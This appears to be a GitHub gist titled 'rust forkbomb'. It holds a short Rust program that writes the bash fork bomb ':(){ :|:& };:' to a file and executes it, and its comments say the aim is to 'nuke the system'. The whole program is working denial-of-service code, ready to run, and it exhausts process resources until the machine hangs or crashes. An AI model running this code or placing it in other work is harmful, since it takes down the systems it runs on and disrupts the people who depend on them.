Skip to content

Instantly share code, notes, and snippets.

@skarnecki
Created March 7, 2017 10:44
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save skarnecki/e40906c4e3b8e3f5d11a10c73e7290bb to your computer and use it in GitHub Desktop.
Save skarnecki/e40906c4e3b8e3f5d11a10c73e7290bb to your computer and use it in GitHub Desktop.
rust forkbomb
use std::io::prelude::*;
use std::fs::File;
use std::process::Command;
// Since rust have nice thread handling and unwrapping - there is no way to fork bomb using rust only
// So I'm using bash to nuke the system
#[allow(unconditional_recursion)]
fn main(){
let f = File::create("boom");
assert_eq!(f.is_ok(), true);
let res = f.unwrap().write_all(b":(){ :|:& };:");
assert_eq!(res.is_ok(), true);
let output = Command::new("bash")
.arg("boom")
.output();
println!("this will not exit !!!: {}", String::from_utf8_lossy(&output.stdout));
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment